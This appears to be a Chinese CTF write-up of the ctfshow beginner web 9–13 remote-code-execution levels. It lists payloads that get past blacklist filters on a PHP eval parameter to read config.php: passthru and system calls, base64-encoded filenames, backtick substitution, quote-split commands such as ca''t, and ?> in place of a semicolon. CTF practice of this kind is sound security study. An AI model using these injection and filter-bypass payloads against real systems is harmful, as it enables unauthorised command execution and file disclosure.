ctfshow_萌新web9-web13-----rce
_萌新web9
?c=highlight_file("config.php");
_萌新web10
这题要绕过system<exec,highlight
?c=passthru("cat%20config.php");
_萌新web11
这次cat也给过滤掉了
查看文件内容的话可以使用 more命令来代替 cat
?c=passthru('more config.php')
_萌新web12
连‘.’,php,config文件名被过滤了
base64加密绕过
config.php经过加密为Y29uZmlnLnBocA==
构造:
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("more $a");
但是我一开始passthru里面用到单引号,没拿到flag
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru('more $a');这个不对
PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:
其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,
双引号中的内容将会被解释,即解析内容中的变量。
但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。
法二:反引号绕过
反引号``, 可以执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号``中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数
?c=echo `ls | grep con*`;
将返回结果作为文件名使用 more命令查看文件内容, 即可获取 flag
?c=passthru('more `ls | grep con*`');也可以成功拿到flag
_萌新web13
对分号;的过滤, 我们可以使用 ?> 代替 分号
?c=passthru('more `ls | grep con*`')?>
根据黑名单的不同,获取config.php的内容有以下几种方法:
1.命令执行函数
system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec(
?c=passthru('cat config.php');
2.构造
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
3.绕过cat命令
?c=system('more config.php');
?c=highlight_file('config.php');
?c=system('ca""t config.php');
?c=system("ca''t config.php");
?c=system('ca\t config.php');
4.绕过;
?>